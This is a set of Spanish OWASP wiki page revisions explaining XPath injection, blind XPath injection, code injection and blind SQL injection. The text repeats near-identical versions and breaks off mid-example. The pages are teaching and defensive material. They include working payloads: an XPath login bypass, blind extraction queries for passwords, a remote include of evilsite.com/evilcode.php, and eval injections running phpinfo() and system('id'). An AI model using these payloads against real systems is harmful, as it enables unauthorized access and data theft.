OWASP - User contributions [en]

Inyección XPath

2015-08-01T00:18:16Z

AcE: /* Ejemplos */

{{Template:Attack}}
 
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==
Es similar a las [[SQL Injection]], Los ataques de Inyección XPath se producen cuando un sitio web usa datos suministrada por un usuario para construir una consulta XPath para datos XML.Mediante el envío de información intencionalmente mal formada al sitio web, un atacante puede averiguar cómo se estructuran los datos XML, o acceder a datos a los que no se suelen tener acceso. El atacante puede incluso ser capaz de elevar sus privilegios en el sitio web si los datos XML se utilizan para la autenticación (por ejemplo, un archivo de usuario basado en XML).

Las consultas XML se realizan con XPath, un tipo de declaración descriptiva simple que permite la consulta XML para localizar una información. Como SQL, puedes especificar ciertos atributos a encontrar, y los patrones a seguir. Cuando se usa XML en un sitio web es común aceptar algún formulario de entrada de cadena de texto para identificar el contenido de localizar y mostrar en la página. Esta entrada '' 'debe' '' ser supervisada para comprobar que no provoca errores en la consulta XPath ni devuelve datos incorrectos.

XPath es un lenguaje estándar; su notación / sintaxis es siempre independiente de la implementación, lo que significa que el ataque puede ser automatizado.
No hay comunicaciones diferentes, como ocurre en las solicitudes a las bases de datos SQL.

Debido a que no existe un control de acceso por niveles,es posible obtener el documento completo. No vamos a encontrar ningún tipo de limitación como podía ocurrir en los ataques de inyección SQL.

==Ejemplos ==

Nosotros usaremos este fragmento XML para los ejemplos:

<pre>
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>SoSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>NotTelling</Password>
<Type>User</Type>
</Employee>
</Employees>
</pre>

Supón que tenemos un sistema de autenticación en la web que usa un archivo de este tipo para loguear usuarios. Una vez que el nombre de usuario y la contraseña han sido introducidos el software deberá usar XPath para buscar el usuario:

<pre>
VB:
Dim FindUserXPath as String
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
Password/text()='" & Request("Password") & "']"

C#:
String FindUserXPath;
FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And
Password/text()='" + Request("Password") + "']";
</pre>

Con un nombre de usuario normal y una contraseña este XPath debe funcionar, pero un atacante puede enviar un nombre de usuario y contraseña errónea y recibir el nodo XML seleccionado sin saber el usuario o contraseña, como aquí:

<pre>
Username: blah' or 1=1 or 'a'='a
Password: blah

FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or
'a'='a' And Password/text()='blah']

Logically this is equivalent to:
//Employee[(UserName/text()='blah' or 1=1) or
('a'='a' And Password/text()='blah')]
</pre>

En este caso, solo la primera parte de el XPath necesita ser cierta. La parte del password se vuelve irrelevante, y parte del nombre de usuario devolverá todos los empleados puesto que parte de "1=1" siempre se cumplirá.

==Relacionado [[Threat Agents]]==
* [[Command Injection]]
* [[SQL Injection]]
* [[LDAP injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Relacionado [[Attacks]]==
* [[Blind_SQL_Injection]]
* [[Blind_XPath_Injection]]

==Relacionado [[Vulnerabilities]]==
* [[:Category: Input Validation Vulnerability]]

==Relacionado [[Controls]]==
* [[:Category:Input Validation]]
* [[Input Validation]]

[[Category: Injection]]

[[Category:Attack]]
[[Category:Injection Attack]]

Inyección XPath

2015-08-01T00:15:48Z

AcE: /* Ejemplos */

{{Template:Attack}}
 
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==
Es similar a las [[SQL Injection]], Los ataques de Inyección XPath se producen cuando un sitio web usa datos suministrada por un usuario para construir una consulta XPath para datos XML.Mediante el envío de información intencionalmente mal formada al sitio web, un atacante puede averiguar cómo se estructuran los datos XML, o acceder a datos a los que no se suelen tener acceso. El atacante puede incluso ser capaz de elevar sus privilegios en el sitio web si los datos XML se utilizan para la autenticación (por ejemplo, un archivo de usuario basado en XML).

Las consultas XML se realizan con XPath, un tipo de declaración descriptiva simple que permite la consulta XML para localizar una información. Como SQL, puedes especificar ciertos atributos a encontrar, y los patrones a seguir. Cuando se usa XML en un sitio web es común aceptar algún formulario de entrada de cadena de texto para identificar el contenido de localizar y mostrar en la página. Esta entrada '' 'debe' '' ser supervisada para comprobar que no provoca errores en la consulta XPath ni devuelve datos incorrectos.

XPath es un lenguaje estándar; su notación / sintaxis es siempre independiente de la implementación, lo que significa que el ataque puede ser automatizado.
No hay comunicaciones diferentes, como ocurre en las solicitudes a las bases de datos SQL.

Debido a que no existe un control de acceso por niveles,es posible obtener el documento completo. No vamos a encontrar ningún tipo de limitación como podía ocurrir en los ataques de inyección SQL.

==Ejemplos ==

Nosotros usaremos este fragmento XML para los ejemplos:

<pre>
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>SoSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>NotTelling</Password>
<Type>User</Type>
</Employee>
</Employees>
</pre>

Supón que tenemos un sistema de autenticación en la web que usa un archivo de este tipo para loguear usuarios. Una vez que el nombre de usuario y la contraseña han sido introducidos el software deberá usar XPath para buscar el usuario:

<pre>
VB:
Dim FindUserXPath as String
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
Password/text()='" & Request("Password") & "']"

C#:
String FindUserXPath;
FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And
Password/text()='" + Request("Password") + "']";
</pre>

Con un nombre de usuario normal y una contraseña este XPath debe funcionar, pero un atacante puede enviar un nombre de usuario y contraseña errónea y recibir el nodo XML seleccionado sin saber el usuario o contraseña, como aquí:

<pre>
Username: blah' or 1=1 or 'a'='a
Password: blah

FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or
'a'='a' And Password/text()='blah']

Logically this is equivalent to:
//Employee[(UserName/text()='blah' or 1=1) or
('a'='a' And Password/text()='blah')]
</pre>

En este caso, solo la primera parte de el XPath necesita ser cierta. La parte del password se vuelve irrelevante, y parte del nombre de Usuario
In this case, only the first part of the XPath needs to be true. The password part becomes irrelevant, and the UserName part will match ALL employees because of the "1=1" part.

==Relacionado [[Threat Agents]]==
* [[Command Injection]]
* [[SQL Injection]]
* [[LDAP injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Relacionado [[Attacks]]==
* [[Blind_SQL_Injection]]
* [[Blind_XPath_Injection]]

==Relacionado [[Vulnerabilities]]==
* [[:Category: Input Validation Vulnerability]]

==Relacionado [[Controls]]==
* [[:Category:Input Validation]]
* [[Input Validation]]

[[Category: Injection]]

[[Category:Attack]]
[[Category:Injection Attack]]

Inyección XPath

2015-08-01T00:14:50Z

AcE: Created page with "{{Template:Attack}} Category:OWASP ASDR Project Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' ==Descripción== Es similar a la..."

{{Template:Attack}}
 
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==
Es similar a las [[SQL Injection]], Los ataques de Inyección XPath se producen cuando un sitio web usa datos suministrada por un usuario para construir una consulta XPath para datos XML.Mediante el envío de información intencionalmente mal formada al sitio web, un atacante puede averiguar cómo se estructuran los datos XML, o acceder a datos a los que no se suelen tener acceso. El atacante puede incluso ser capaz de elevar sus privilegios en el sitio web si los datos XML se utilizan para la autenticación (por ejemplo, un archivo de usuario basado en XML).

Las consultas XML se realizan con XPath, un tipo de declaración descriptiva simple que permite la consulta XML para localizar una información. Como SQL, puedes especificar ciertos atributos a encontrar, y los patrones a seguir. Cuando se usa XML en un sitio web es común aceptar algún formulario de entrada de cadena de texto para identificar el contenido de localizar y mostrar en la página. Esta entrada '' 'debe' '' ser supervisada para comprobar que no provoca errores en la consulta XPath ni devuelve datos incorrectos.

XPath es un lenguaje estándar; su notación / sintaxis es siempre independiente de la implementación, lo que significa que el ataque puede ser automatizado.
No hay comunicaciones diferentes, como ocurre en las solicitudes a las bases de datos SQL.

Debido a que no existe un control de acceso por niveles,es posible obtener el documento completo. No vamos a encontrar ningún tipo de limitación como podía ocurrir en los ataques de inyección SQL.

==Ejemplos ==

Nosotros usaremos este fragmento XML para los ejemplos:

<pre>
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>SoSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>NotTelling</Password>
<Type>User</Type>
</Employee>
</Employees>
</pre>

Supón que tenemos un sistema de autenticación en la web que usa un archivo de este tipo para loguear usuarios. Una vez que el nombre de usuario y la contraseña han sido introducidos el software deberá usar XPath para buscar el usuario:

<pre>
VB:
Dim FindUserXPath as String
FindUserXPath = "//Employee[UserName/text()='" & Request("Username") & "' And
Password/text()='" & Request("Password") & "']"

C#:
String FindUserXPath;
FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And
Password/text()='" + Request("Password") + "']";
</pre>

Con un nombre de usuario normal y una contraseña este XPath debería funcionar, pero un atacante puede enviar un nombre de usuario y contraseña errónea y recibir el nodo XML seleccionado sin saber el usuario o contraseña, como aquí:

<pre>
Username: blah' or 1=1 or 'a'='a
Password: blah

FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or
'a'='a' And Password/text()='blah']

Logically this is equivalent to:
//Employee[(UserName/text()='blah' or 1=1) or
('a'='a' And Password/text()='blah')]
</pre>

En este caso, solo la primera parte de el XPath necesita ser cierta. La parte del password se vuelve irrelevante, y parte del nombre de Usuario
In this case, only the first part of the XPath needs to be true. The password part becomes irrelevant, and the UserName part will match ALL employees because of the "1=1" part.

==Relacionado [[Threat Agents]]==
* [[Command Injection]]
* [[SQL Injection]]
* [[LDAP injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Relacionado [[Attacks]]==
* [[Blind_SQL_Injection]]
* [[Blind_XPath_Injection]]

==Relacionado [[Vulnerabilities]]==
* [[:Category: Input Validation Vulnerability]]

==Relacionado [[Controls]]==
* [[:Category:Input Validation]]
* [[Input Validation]]

[[Category: Injection]]

[[Category:Attack]]
[[Category:Injection Attack]]

Inyección XPath Ciega

2015-07-31T20:43:59Z

AcE: /* Descripción */

{{Template:Attack}}
 
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==

XPath es un tipo de lenguaje de consulta que describe cómo localizar elementos específicos (incluyendo atributos, instrucciones de procesamiento, etc.) en un documento XML. Dado que es un lenguaje de consulta, XPath es algo similar a Structured Query Language (SQL), sin embargo, XPath es diferente, ya que se puede utilizar para hacer referencia a casi cualquier parte de un documento XML y sin restricciones de control de acceso. En SQL, un “usuario” (que es un término no definido en el contexto XPath / XML) puede limitarse a determinadas bases de datos, tablas, columnas o consultas. El uso de un ataque de inyección XPath, un atacante es capaz de modificar la consulta XPATH para realizar una acción de su elección.

Los Blind XPath Injection se pueden utilizar para extraer datos de una aplicación que incrusta los datos suministrados por el usuario de una manera insegura. Cuando la entrada no es verificada apropiadamente, un atacante puede introducir código XPath válido para que se ejecuta. Este tipo de ataque se utiliza en situaciones en las que el atacante no tiene conocimiento acerca de la estructura del documento XML, o tal vez el mensaje de error se suprime, y sólo es capaz de extraer una parte de la información por cada pregunta verdadero / falso (consultas booleanizadas), como en Blind SQL Injection.

==Ejemplos==
El atacante puede montar un ataque con éxito utilizando dos métodos: Boolenización y XML Crawling. Para añadir a la sintaxis XPath, el atacante utiliza expresiones adicionales.

===Booleanización===
Utilizando el método de “Boolenización” el atacante puede averiguar si la expresión XPath dada es verdadera o falsa. Vamos a suponer que el objetivo del atacante es iniciar sesión en una cuenta en una aplicación web. Un registro de éxito en regresaría “True” y sifracasó en el intento de registro volvería “Falso”. Sólo una pequeña parte de la información se dirige a través del carácter o número analizado. Cuando el atacante se centra en una cadena que puede revelar en su totalidad por el control de cada personaje dentro de la clase / gama de personajes esta cadena pertenece.

Utilizando una función de cadena de longitud (S), donde S es una cadena, el atacante puede averiguar la longitud de esta cadena. Con el número apropiado de subcadena (S, N, 1) iteraciones de la función, donde S es una cadena mencionado previamente, N es un carácter de inicio, y “1″ es un carácter siguiente a contar desde carácter N, el atacante es capaz de enumerar la toda cadena.
Código:
<pre><?xml version="1.0" encoding="UTF-8"?>
<data>
<user>
<login>admin</login>
<password>test</password>
<realname>SuperUser</realname>
</user>
<user>
<login>rezos</login>
<password>rezos123</password>
<realname>Simple User</realname>
</user>
</data></pre>
Función:
<ul>
<li>string.stringlength (// user [position () = 1] / child :: node () [position () = 2]) devuelve la longitud de la segunda cadena del primer usuario (8),</li>
<li>substring ((// user [position () = 1] / child :: node () [position () = 2), 1,1) devuelve el primer carácter de este usuario ("r").</li>
</ul>

===XML Crawling===

Para conocer la estructura del documento XML que el atacante puede utilizar:
<ul>
<li>count(expression)</li>
</ul>
<pre>count(//user/child::node()</pre>
Esto retornará el numero de nodos (en este caso 2).
<ul>
<li>stringlength(string)</li>
</ul>
<pre>string-length(//user[position()=1]/child::node()[position()=2])=6</pre>
Usando esta consulta el atacante averiguará si la segunda cadena (password) del primer nodo (usuario "admin") consta de 6 caracteres.
<ul>
<li>substring(string, number, number)</li>
</ul>
<pre>substring((//user[position()=1]/child::node()[position()=2]),1,1)="a"</pre>
Esta consulta confirmarña (True) o negará (False) que el primer carácter del password de usuario ("admin") es una "a".

Si el formulario de entrada fuese algo como esto:

C#:
<pre>String FindUser;
FindUser = "//user[login/text()='" + Request("Username") + "' And
password/text()='" + Request("Password") + "']";</pre>
entonces el atacante debería inyectar el siguiente código:
<pre>Username: ' or substring((//user[position()=1]/child::node()[position()=2]),1,1)="a" or ''='</pre>
La sintaxis XPath puede resultarte muy parecida a la de las Inyecciones SQL pero el atacante debe tener en cuenta que este lenguaje no permite comentar el resto de la consulta.Para omitir esta limitación el atacante debe usar o expresiones de anular todas las expresiones, que puede interrumpir el ataque.

Debido a Boolenization el número de consultas, incluso dentro de un pequeño documento XML, puede ser muy alto (miles, miles de miles y más). Es por ello que este ataque no se lleva a cabo de forma manual. Conocer algunas funciones básicas XPath, el atacante es capaz de escribir una aplicación en un breve periodo de tiempo que la construya la estructura del documento y lo llene con los datos por sí mismo.

 

==Relacionados [[Threat Agents]]==
TBD

==Relacionados [[Attacks]]==
* [[Blind_SQL_Injection]]
* [[XPATH_Injection]]

==Relacionados [[Vulnerabilities]]==
* [[Injection_problem]]

==Relacionados [[Controls]]==
* [[:Category:Input Validation]]

==Referencias==
* http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf - by Amit Klein (much more detailes, in my opinion the best source about Blind XPath Injection).
* http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html
* http://projects.webappsec.org/w/page/13247005/XPath%20Injection

[[Category:Injection]]
[[Category:Attack]]

Inyección XPath Ciega

2015-07-31T20:43:42Z

AcE: Created page with "{{Template:Attack}} Category:OWASP ASDR Project Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' ==Descripción== Editar XPath..."

{{Template:Attack}}
 
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==

Editar

XPath es un tipo de lenguaje de consulta que describe cómo localizar elementos específicos (incluyendo atributos, instrucciones de procesamiento, etc.) en un documento XML. Dado que es un lenguaje de consulta, XPath es algo similar a Structured Query Language (SQL), sin embargo, XPath es diferente, ya que se puede utilizar para hacer referencia a casi cualquier parte de un documento XML y sin restricciones de control de acceso. En SQL, un “usuario” (que es un término no definido en el contexto XPath / XML) puede limitarse a determinadas bases de datos, tablas, columnas o consultas. El uso de un ataque de inyección XPath, un atacante es capaz de modificar la consulta XPATH para realizar una acción de su elección.

Los Blind XPath Injection se pueden utilizar para extraer datos de una aplicación que incrusta los datos suministrados por el usuario de una manera insegura. Cuando la entrada no es verificada apropiadamente, un atacante puede introducir código XPath válido para que se ejecuta. Este tipo de ataque se utiliza en situaciones en las que el atacante no tiene conocimiento acerca de la estructura del documento XML, o tal vez el mensaje de error se suprime, y sólo es capaz de extraer una parte de la información por cada pregunta verdadero / falso (consultas booleanizadas), como en Blind SQL Injection.

==Ejemplos==
El atacante puede montar un ataque con éxito utilizando dos métodos: Boolenización y XML Crawling. Para añadir a la sintaxis XPath, el atacante utiliza expresiones adicionales.

===Booleanización===
Utilizando el método de “Boolenización” el atacante puede averiguar si la expresión XPath dada es verdadera o falsa. Vamos a suponer que el objetivo del atacante es iniciar sesión en una cuenta en una aplicación web. Un registro de éxito en regresaría “True” y sifracasó en el intento de registro volvería “Falso”. Sólo una pequeña parte de la información se dirige a través del carácter o número analizado. Cuando el atacante se centra en una cadena que puede revelar en su totalidad por el control de cada personaje dentro de la clase / gama de personajes esta cadena pertenece.

Utilizando una función de cadena de longitud (S), donde S es una cadena, el atacante puede averiguar la longitud de esta cadena. Con el número apropiado de subcadena (S, N, 1) iteraciones de la función, donde S es una cadena mencionado previamente, N es un carácter de inicio, y “1″ es un carácter siguiente a contar desde carácter N, el atacante es capaz de enumerar la toda cadena.
Código:
<pre><?xml version="1.0" encoding="UTF-8"?>
<data>
<user>
<login>admin</login>
<password>test</password>
<realname>SuperUser</realname>
</user>
<user>
<login>rezos</login>
<password>rezos123</password>
<realname>Simple User</realname>
</user>
</data></pre>
Función:
<ul>
<li>string.stringlength (// user [position () = 1] / child :: node () [position () = 2]) devuelve la longitud de la segunda cadena del primer usuario (8),</li>
<li>substring ((// user [position () = 1] / child :: node () [position () = 2), 1,1) devuelve el primer carácter de este usuario ("r").</li>
</ul>

===XML Crawling===

Para conocer la estructura del documento XML que el atacante puede utilizar:
<ul>
<li>count(expression)</li>
</ul>
<pre>count(//user/child::node()</pre>
Esto retornará el numero de nodos (en este caso 2).
<ul>
<li>stringlength(string)</li>
</ul>
<pre>string-length(//user[position()=1]/child::node()[position()=2])=6</pre>
Usando esta consulta el atacante averiguará si la segunda cadena (password) del primer nodo (usuario "admin") consta de 6 caracteres.
<ul>
<li>substring(string, number, number)</li>
</ul>
<pre>substring((//user[position()=1]/child::node()[position()=2]),1,1)="a"</pre>
Esta consulta confirmarña (True) o negará (False) que el primer carácter del password de usuario ("admin") es una "a".

Si el formulario de entrada fuese algo como esto:

C#:
<pre>String FindUser;
FindUser = "//user[login/text()='" + Request("Username") + "' And
password/text()='" + Request("Password") + "']";</pre>
entonces el atacante debería inyectar el siguiente código:
<pre>Username: ' or substring((//user[position()=1]/child::node()[position()=2]),1,1)="a" or ''='</pre>
La sintaxis XPath puede resultarte muy parecida a la de las Inyecciones SQL pero el atacante debe tener en cuenta que este lenguaje no permite comentar el resto de la consulta.Para omitir esta limitación el atacante debe usar o expresiones de anular todas las expresiones, que puede interrumpir el ataque.

Debido a Boolenization el número de consultas, incluso dentro de un pequeño documento XML, puede ser muy alto (miles, miles de miles y más). Es por ello que este ataque no se lleva a cabo de forma manual. Conocer algunas funciones básicas XPath, el atacante es capaz de escribir una aplicación en un breve periodo de tiempo que la construya la estructura del documento y lo llene con los datos por sí mismo.

 

==Relacionados [[Threat Agents]]==
TBD

==Relacionados [[Attacks]]==
* [[Blind_SQL_Injection]]
* [[XPATH_Injection]]

==Relacionados [[Vulnerabilities]]==
* [[Injection_problem]]

==Relacionados [[Controls]]==
* [[:Category:Input Validation]]

==Referencias==
* http://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf - by Amit Klein (much more detailes, in my opinion the best source about Blind XPath Injection).
* http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html
* http://projects.webappsec.org/w/page/13247005/XPath%20Injection

[[Category:Injection]]
[[Category:Attack]]

Inyección de Código

2015-07-30T15:29:09Z

AcE: /* Ejemplos */

{{Template:Attack}}
 
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==

Code Injection es el término general para el tipo de ataques que tratan de inyectar código que es interpretado/ejecutado por la aplicación. Este tipo de ataques explota el manejo pobre de información no confiable. Este tipo de ataques son habitualmente posibles por no validar apropiadamente las entradas y salidas de datos, por ejemplo:

* Caracteres permitidos (expresiones regulares, clases o personalizadas)
* Formato de los datos
* Cantidad de datos esperada.

Code Injection difiere de Command Injection en que un atacante esta limitado por las funcionalidades del lenguaje inyectado. Si un atacante es capaz de inyectar código PHP en la aplicación y hacer que este sea ejecutado, él solo estará limitado por lo que PHP es capaz de hacer. Command Injection ( Inyección de comandos) consiste en el aprovechamiento de código existente para ejecutar comandos, normalmente sin el contexto de la SHELL.

==Factores de Riesgo==

* Este tipo de vulnerabilidades pueden ser desde muy fácil, a muy complicadas de encontrar.
* Si la encuentras, normalmente no son muy difíciles de explotar, depende del escenario.
* Si son explotadas correctamente, el impacto podría cubrir la perdida de confidencialidad, perdida de integridad, perdida de disponibilidad y/o perdida de responsabilidad.

==Ejemplos ==

'''Ejemplo 1'''

Si una aplicación pasa un parámetro enviado vía petición “GET” a una función “include() en php sin verificar la entrada, el atacante podría intentar ejecutar un código diferente al que el desarrollador tenía en mente.

La dirección de abajo pasa un nombre de página a la función include().

http://testsite.com/index.php?page=contact.php

El archivo”evilcode.php” puede contener, por ejemplo, una función phpinfo() la cual es muy útil para ganar información sobre la configuración del entorno en el cual el servicio corre. Un atacante puede solicitarle a la aplicación que ejecute este código PHP usando la siguiente petición:

http://testsite.com/?page=http://evilsite.com/evilcode.php

'''Ejemplo 2'''

Cuando un desarrollador usa la función PHP eval() y le pasa datos no verificados que el atacante puede modificar, la inyección de código puede ser posible.

El ejemplo de abajo muestra una forma peligrosa de usar la función eval():
<pre>
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");</pre>

Como no se verifica la entrada el código anterior es vulnerable a un ataque Code Injection.

Por ejemplo:
<pre>
/index.php?arg=1; phpinfo()</pre>

Mientras explota agujeros como estos, un atacante podría querer tambien ejecutar comandos de sistema. En este caso, el agujero que proporciona la inyección de código tambien puede ser usado para inyectar comandos, por ejemplo:
<pre>
/index.php?arg=1; system('id')</pre>

==Relacionados [[Threat Agents]]==
* [[:Category: Internet_attacker]]
* [[Internal_software_developer]]

==Relacionados [[Attacks]]==
* [[Command Injection]]
* [[SQL Injection]]
* [[LDAP injection]]
* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]
* [[Cross-site Scripting (XSS)]]

==Relacionados [[Vulnerabilities]]==
* [[:Category: Input Validation Vulnerability]]

==Relacionados [[Controls]]==
* [[Input Validation]]
* [[Output Validation]]
* [[Canonicalization]]

==Referencias==
* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]
* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]
* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]

[[Category:Injection]]
[[Category:Attack]]
[[Category:Injection Attack]]

Inyección de Código

2015-07-30T15:27:40Z

AcE:

{{Template:Attack}}
 
[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==

Code Injection es el término general para el tipo de ataques que tratan de inyectar código que es interpretado/ejecutado por la aplicación. Este tipo de ataques explota el manejo pobre de información no confiable. Este tipo de ataques son habitualmente posibles por no validar apropiadamente las entradas y salidas de datos, por ejemplo:

* Caracteres permitidos (expresiones regulares, clases o personalizadas)
* Formato de los datos
* Cantidad de datos esperada.

Code Injection difiere de Command Injection en que un atacante esta limitado por las funcionalidades del lenguaje inyectado. Si un atacante es capaz de inyectar código PHP en la aplicación y hacer que este sea ejecutado, él solo estará limitado por lo que PHP es capaz de hacer. Command Injection ( Inyección de comandos) consiste en el aprovechamiento de código existente para ejecutar comandos, normalmente sin el contexto de la SHELL.

==Factores de Riesgo==

* Este tipo de vulnerabilidades pueden ser desde muy fácil, a muy complicadas de encontrar.
* Si la encuentras, normalmente no son muy difíciles de explotar, depende del escenario.
* Si son explotadas correctamente, el impacto podría cubrir la perdida de confidencialidad, perdida de integridad, perdida de disponibilidad y/o perdida de responsabilidad.

==Ejemplos ==

'''Ejemplo 1'''

Si una aplicación pasa un parámetro enviado vía petición “GET” a una función “include() en php sin verificar la entrada, el atacante podría intentar ejecutar un código diferente al que el desarrollador tenía en mente.

La dirección de abajo pasa un nombre de página a la función include().

http://testsite.com/index.php?page=contact.php

El archivo”evilcode.php” puede contener, por ejemplo, una función phpinfo() la cual es muy útil para ganar información sobre la configuración del entorno en el cual el servicio corre. Un atacante puede solicitarle a la aplicación que ejecute este código PHP usando la siguiente petición:

http://testsite.com/?page=http://evilsite.com/evilcode.php

'''Ejemplo 2'''

Cuando un desarrollador usa la función PHP eval() y le pasa datos no verificados que el atacante puede modificar, la inyección de código puede ser posible.

El ejemplo de abajo muestra una forma peligrosa de usar la función eval():

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

Como no se verifica la entrada el código anterior es vulnerable a un ataque Code Injection.

Por ejemplo:

/index.php?arg=1; phpinfo()

Mientras explota agujeros como estos, un atacante podría querer tambien ejecutar comandos de sistema. En este caso, el agujero que proporciona la inyección de código tambien puede ser usado para inyectar comandos, por ejemplo:

/index.php?arg=1; system('id')

==Relacionados [[Threat Agents]]==
* [[:Category: Internet_attacker]]
* [[Internal_software_developer]]

==Relacionados [[Attacks]]==
* [[Command Injection]]
* [[SQL Injection]]
* [[LDAP injection]]
* [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]]
* [[Cross-site Scripting (XSS)]]

==Relacionados [[Vulnerabilities]]==
* [[:Category: Input Validation Vulnerability]]

==Relacionados [[Controls]]==
* [[Input Validation]]
* [[Output Validation]]
* [[Canonicalization]]

==Referencias==
* [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection]
* [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection]
* [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection]

[[Category:Injection]]
[[Category:Attack]]
[[Category:Injection Attack]]

Inyección SQL Ciega

2015-07-29T23:50:21Z

AcE: /* Risk Factors */

{{Template:Attack}}
[[Category:OWASP ASDR Project]]
[[Category:Security Focus Area]]
__NOTOC__
 

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==
Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto).

Sentencias condicionales con el tipo “Or 1=1″ o “having 1=1″ ofrecen respuestas siempre correctas (true o verdadero) por lo cual suelen ser usadas por los programadores como formas de comprobación. El problema para la seguridad de la página radica en que esta técnica es utilizada en combinación con diccionarios o fuerza bruta para la búsqueda, carácter por carácter, de una contraseña, un nombre de usuario, un número de teléfono o cualquier otra información que albergue la base de datos atacada; para ello se utiliza código SQL específico que “va probando” cada carácter consiguiendo un resultado positivo acumulable cuando hay una coincidencia. De esta manera se puede saber, por ejemplo, que una contraseña comienza por “F…”, luego continúa con “.i…”, y luego “..r…”, etc (acumula Fir…), hasta dar con la palabra completa.

Existen programas que automatizan este proceso de “tanteos” letra por letra en el resultado de la consulta SQL, que un intruso podría enviar inyectado.

==Modelando Amenazas==
Igual que [[SQL Injection]]

==Factores de Riesgo==
Igual que [[SQL Injection]]

==Ejemplos ==
Un atacante puede verificar si una solicitud enviada regresó verdadero o falso de varias formas:

===Basado en el contenido===
El uso de una simple página, que muestra un artículo con ID dado como parámetro, el atacante puede realizar un par de pruebas sencillas para determinar si la página es vulnerable a ataques de inyección SQL.

URL de ejemplo:
<pre>http://newspaper.com/items.php?id=2
</pre>
envía la siguiente consulta a la base de datos
<pre>SELECT title, description, body FROM items WHERE ID = 2</pre>
el atacante puede entonces intentar que devuelva ‘falso’:
<pre>http://newspaper.com/items.php?id=2 and 1=2</pre>
ahora la consulta SQL quedaría tal que así:
<pre>SELECT title, description, body FROM items WHERE ID = 2 and 1=2</pre>
Si la aplicación web es vulnerable a SQL Injection, entonces es proble que no devuelva nada. Para asegurarse, el atacante injectará una consulta que devuelva ‘verdadero’:
<pre>http://newspaper.com/items.php?id=2 and 1=1</pre>
Si el contenido de la pagina que devuelve ‘verdadero’ difiere de la página que devolvió ‘falso’, entonces el atacante es capaz de distinguir cuando la consulta ejecutada es verdadera o falsa.

Una vez que esto ha sido verificado, la única limitación son los privilegios puesto por el administrador de la BBDD, diferente sintaxis sql y la imaginación del atacante.

===Basada en tiempo===

Este tipo de inyección SQL ciega se basa en pausar la BBDD por un tiempo especificado, para que posteriormente devuelva los resultados, indicando que la consulta triunfo
Usando este metodo, un atacante enumera cada letra de la porción de datos que desea leer usando la siguiente lógica:

Si la primera letra del nombre de la primera BBDD es una “A”, esperar 10 segundos.

